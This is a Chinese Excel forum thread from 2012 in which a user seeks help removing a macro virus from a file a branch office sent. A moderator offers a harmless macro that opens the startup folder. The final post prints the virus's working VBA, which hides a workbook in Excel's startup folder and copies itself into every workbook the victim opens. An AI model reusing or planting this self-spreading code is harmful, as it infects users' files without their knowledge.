PJChen

　暱稱: PJ

帖子: 913
主題: 150
精華: 0
積分: 1089
點名: 0
作業系統: win10
軟體版本: office 2019
閱讀權限: 50
性別: 女
註冊時間: 2011-8-28
最後登錄: 2023-7-19

論壇榮譽勳章論壇贊助勳章

1^# 跳轉到 » 倒序看帖

打印

字體大小: tT

發表於 2012-6-1 15:43 | 只看該作者

無法消除巨集

您好:
我收到分公司寄來的檔案,其中含有巨集及一個隱藏檔"1006ㄗ?ㄘ",

HD1205155s.zip (9.59 KB)
現在關啟Excel使用時會一直出現對話框

而且將Excel關閉時無法真正關閉,必須關二次才行,
請關我要如何使這個巨集消失?

樓主熱帖

chin15

中學生 Rank: 2

帖子: 227
主題: 3
精華: 1
積分: 273
點名: 0
作業系統: XP
軟體版本: XP
閱讀權限: 20
性別: 女
註冊時間: 2011-3-22
最後登錄: 2013-1-29

2^#

發表於 2012-6-1 17:32 | 只看該作者

跟著圖上的路徑找到元兇刪掉就行了。
註：資料夾選項必須選擇顯示所有檔案

TOP

PJChen

　暱稱: PJ

大學生 Rank: 4

帖子: 913
主題: 150
精華: 0
積分: 1089
點名: 0
作業系統: win10
軟體版本: office 2019
閱讀權限: 50
性別: 女
註冊時間: 2011-8-28
最後登錄: 2023-7-19

論壇榮譽勳章論壇贊助勳章

3^#

發表於 2012-6-1 21:19 | 只看該作者

回復 2# chin15
問題就是找不到!且這個檔案是別人寄給我的,上面的路徑怎會有這個檔?

TOP

HUNGCHILIN

　暱稱: 阿吉
　頭銜: 不恥下問,不斷學習,才會進步

版主 Rank: 7 Rank: 7 Rank: 7

帖子: 647
主題: 190
精華: 24
積分: 1037
點名: 0
作業系統: windows7
軟體版本: Office 2010 ; OOO3.0 ; Google
閱讀權限: 100
性別: 男
來自: 竹南
註冊時間: 2010-5-2
最後登錄: 2022-6-24

貴賓勳章熱烈參與勳章好學求知勳章

4^#

發表於 2012-6-1 21:57 | 只看該作者

執行下述巨集刪掉所開啟資料夾裡面的檔案

Sub StartupPathA()

On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.StartupPath '任意的資料夾
Set mySh = Nothing '物件的釋放
Error1: End Sub

Hung-Chi Lin/林宏吉
HUNGCHILIN/林宏吉的OFFICE專欄

TOP

PJChen

　暱稱: PJ

大學生 Rank: 4

帖子: 913
主題: 150
精華: 0
積分: 1089
點名: 0
作業系統: win10
軟體版本: office 2019
閱讀權限: 50
性別: 女
註冊時間: 2011-8-28
最後登錄: 2023-7-19

論壇榮譽勳章論壇贊助勳章

5^#

發表於 2012-6-1 22:34 | 只看該作者

本帖最後由 oobird 於 2012-6-1 23:31 編輯

[attach]11218[/attach][attach]11218[/attach]回復 4# HUNGCHILIN

以下是檔案中的巨集,但我將它刪除後,還是會一直出現前面所提的對話框,"1006ㄗ攣ㄘ.xls"這個檔是在對別人的電腦中,不是在我的電腦裡, 附件有三個sheet,每點選一個sheet,就會一直出現對話框. [attach]11218[/attach]
我現在想做的如下:
1) 如果一個資料夾中,我存放了很多這樣的檔,它可以只刪除巨集,但檔案保留嗎?因為是有用的資料.
2) 刪除以下指明的 "1006ㄗ攣ㄘ.xls" 我第一次關掉excel後,excel不會整個關閉,而只是像關掉檔案的情形,第二次到檢視>取消隱藏視窗,就會出現另一個對話框,如果按確認就會開出一個空白的sheet , 所以我覺得它隱藏在每個收到的檔案中

需要再按一次關閉才會真正關掉excel.

Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "1006ㄗ攣ㄘ.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "1006ㄗ攣ㄘ.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("1006ㄗ攣ㄘ.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "1006ㄗ攣ㄘ.xls!acop"
End Sub
Sub acop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("1006ㄗ攣ㄘ.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub